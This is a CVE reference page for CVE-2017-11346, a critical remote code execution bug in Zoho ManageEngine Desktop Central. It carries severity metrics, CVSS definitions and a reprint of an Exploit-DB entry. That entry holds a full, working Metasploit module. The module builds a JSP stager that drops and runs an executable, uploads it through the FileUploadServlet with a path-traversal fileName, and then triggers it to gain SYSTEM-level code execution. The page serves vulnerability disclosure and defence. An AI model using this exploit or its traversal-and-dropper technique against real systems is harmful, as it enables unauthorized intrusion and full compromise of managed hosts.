CVE-2017-11346 : Detail

CVE-2017-11346

9.8
/
Critical
A03-Injection
3.33%V3
Network
2017-07-16
21h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
NVD
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CVE Descriptions

Zoho ManageEngine Desktop Central before build 100092 allows remote attackers to execute arbitrary code via vectors involving the upload of help desk videos.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42358

Publication date : 2017-07-23 22h00 +00:00
Author : Kacper Szurek
EDB Verified : No

# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE # Date: 24-07-2017 # Software Link: https://www.manageengine.com/products/desktop-central/ # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # CVE: CVE-2017-11346 # Category: remote 1. Description When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function. This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html 2. Proof of Concept ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in ManageEngine Desktop Central 10. When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter. This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. This exploit was successfully tested on version 10, build 100087. Exploit code based on https://www.exploit-db.com/exploits/38982/ }, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek' ], 'References' => [ [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ] ], 'Platform' => 'win', 'Targets' => [ [ 'ManageEngine Desktop Central 10 on Windows', {} ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => "July 24 2017", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), Opt::RPORT(8020) ], self.class) end def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def get_jsp_stager exe = generate_payload_exe(code: payload.encoded) jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp" register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}") { jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname), jsp_name: jsp_fname } end def get_build_number(res) inputs = res.get_hidden_inputs inputs.first['buildNum'] end def get_html_title(res) html = res.body n = ::Nokogiri::HTML(html) x = n.xpath('//title').text end def check uri = normalize_uri(target_uri.path, '/configurations.do') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res print_error("Connection timed out") return Exploit::CheckCode::Unknown end build_number = get_build_number(res) if build_number.to_s.empty? print_error("Cannot find build number") else print_status("Found build number: #{build_number}") end html_title = get_html_title(res) if html_title.to_s.empty? print_error("Cannot find title") else print_status("Found title: #{html_title}") end if build_number.to_i <= 100087 return Exploit::CheckCode::Appears elsif /ManageEngine Desktop Central 10/ === html_title return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_jsp(stager_info) uri = normalize_uri(target_uri.path, 'fileupload') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/octet-stream', 'encode_params' => false, 'data' => stager_info[:jsp_payload], 'vars_get' => { 'action' => 'HelpDesk_video', 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5), 'resourceId' => 1, 'customerId' => 1, 'fileName' => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}" } }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.") end end def exec_jsp(stager_info) uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while executing #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}") end end def exploit print_status("Creating JSP stager") stager_info = get_jsp_stager print_status("Uploading JSP stager #{stager_info[:jsp_name]}...") upload_jsp(stager_info) print_status("Executing stager...") exec_jsp(stager_info) end end 3. Solution: https://www.manageengine.com/products/desktop-central/remote-code-execution.html

Products Mentioned

Configuraton 0

Zohocorp>>Manageengine_desktop_central >> Version To (including) 10.0

References

https://www.exploit-db.com/exploits/42358/
Tags : exploit, x_refsource_EXPLOIT-DB